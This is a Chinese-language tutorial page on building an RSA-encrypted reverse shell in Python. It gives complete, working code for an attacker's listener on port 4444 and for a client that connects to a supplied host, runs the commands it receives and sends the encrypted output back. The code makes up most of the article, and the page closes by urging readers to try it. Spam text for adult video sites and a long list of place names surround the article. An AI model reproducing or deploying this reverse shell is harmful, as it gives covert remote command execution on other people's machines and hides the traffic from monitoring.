中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何使用RSA加密在Python中逆向shell

發布時間:2021-08-30 22:28:40 來源:億速云 閱讀:202 作者:chen 欄目:網絡安全

本篇內容主要講解“如何使用RSA加密在Python中逆向shell”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何使用RSA加密在Python中逆向shell”吧!

使用RSA加密在Python中逆向shell

首先,我們需要一個偵聽器來處理所有傳入的連接。 這是listener_rsa.py的代碼

#!/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import *import sysimport pickle#Generate public key and private keyrandom_generator = Random.new().read
key = RSA.generate(2048, random_generator)
public_key = key.publickey()#Create socket and bind to accept connectionss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
    s.bind(("0.0.0.0", 4444))except socket.error, v:
    print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
    sys.exit()
print "Socket bind complete"s.listen(2)print "[+] Listening to the incoming connection on port 4444..."def clientthread_sendpublickey(client) :    client.send(pickle.dumps(public_key))def clienthandle(client) :    while True :
        command = raw_input('~$ ')
        client.send(command)
        if command == 'quit' :
           break        buf = client.recv(2048)
        encreply = pickle.loads(buf)
        print key.decrypt(encreply)while True:
    (client, (ip, port)) = s.accept()
    print "Received connection from : ", ip
    start_new_thread(clientthread_sendpublickey, (client,))
    print "Public Key sent to", ip
start_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模塊進行加密。 繼續安裝它。 我建議使用pip來安裝模塊。

$ sudo pip install pycrypto

在我們進入代碼之前,讓我向你解釋一下RSA加密及其密鑰。 RSA是一種非對稱加密標準。 它有兩個鍵,公共和私有。 簡單來說,公鑰用于加密消息,私鑰用于解密。 下面是描述該過程的框圖

如何使用RSA加密在Python中逆向shell

如果你對RSA的數學工作感興趣,那么我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)

在上面的程序中,首先生成密鑰,該密鑰也是私鑰。

key = RSA.generate(2048, random_generator)

函數RSA.generate有兩個參數,第一個是以位為單位的密鑰的大小,第二個是通常使用python隨機函數生成的隨機數。 在創建私鑰之后,從中提取公鑰并將其存儲在變量中以供將來使用。

public_key = key.publickey()

使用套接字模塊創建套接字,這相對簡單。 你可以參考Python套接字1的官方文檔,甚至可以進行簡單的Google搜索。

套接字綁定并等待連接傳入連接。

注 - 如果要將Linux中的套接字綁定到小于1024的端口,則必須以root身份執行該腳本。

當收到連接時,初始化新線程以將生成的公鑰發送到客戶端,以便它可以加密回復。

def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))

我們為什么要用Pickle? Pickle用于序列化和反序列化python對象。 由于public_key不是常規字符串,因此必須對其進行pickle,然后將其發送到接收方。

警告 - pickle模塊不能防止錯誤或惡意構造的數據。 切勿取消從不受信任或未經身份驗證的來源收到的數據。

一旦發送了公鑰,另一個線程clienthandle(客戶端)被初始化為True:loop,它發送給接收者的命令。 接收器運行命令并使用公鑰加密輸出。 然后將輸出的pickle發送給監聽器。

回復是unpickled,使用私鑰解密并打印在屏幕上。

encreply = pickle.loads(buf)print key.decrypt(encreply)

如果給出'quit'命令,則終止連接。

反向shell

讓我們轉到反向shell所在的接收器端。 reverse_shell_rsa的腳本如下所示

#!/usr/bin/pythonimport socket, subprocess, sys
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256import pickle
RHOST = sys.argv[1]
RPORT = 4444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))def receive_key():   data_key = s.recv(1024)
   return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)
while True :    command = s.recv(1024)
    if command == 'quit' :
         break
    reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout, stderr = reply.communicate()
    en_reply = public_key.encrypt(stdout, 32)
    s.send(pickle.dumps(en_reply))

s.close()

一如既往,導入必要的模塊。 要連接的IP地址作為參數提供,并存儲在RHOST變量中。 創建套接字并與服務器(偵聽器)建立連接。 一旦接受連接,服務器就會發送公鑰(在listener.py腳本中向上滾動到clientthread_sendpublickey()),該公鑰通過函數receive_key()接收并去除(記住pickling?)以獲取公鑰。

def receive_key():data_key = s.recv(1024)return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)

一段時間初始化True循環以保持連接的持久性并接收命令。 如果命令是“退出”,則節目結束。 否則,給定的命令作為子進程和標準輸出運行,標準錯誤通過管道傳遞給變量'reply'。 然后使用公鑰對標準輸出進行加密,pickling并發送到服務器。

en_reply = public_key.encrypt(stdout, 32)
s.send(pickle.dumps(en_reply))

然后耐心等待,直到下一個命令。

到此,相信大家對“如何使用RSA加密在Python中逆向shell”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節
推薦閱讀:
  1. RSA加密
  2. RSA加密相關

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

长阳| 青浦区| 吴旗县| 沛县| 南投县| 松阳县| 达孜县| 赞皇县| 泊头市| 大同县| 和顺县| 黄大仙区| 奉节县| 龙山县| 防城港市| 鸡西市| 班玛县| 枞阳县| 巴彦淖尔市| 拜泉县| 肇庆市| 阳城县| 龙州县| 洛扎县| 景德镇市| 原平市| 延边| 铜梁县| 久治县| 巩留县| 礼泉县| 紫金县| 兰溪市| 六安市| 睢宁县| 洪江市| 南宫市| 射洪县| 特克斯县| 且末县| 清河县|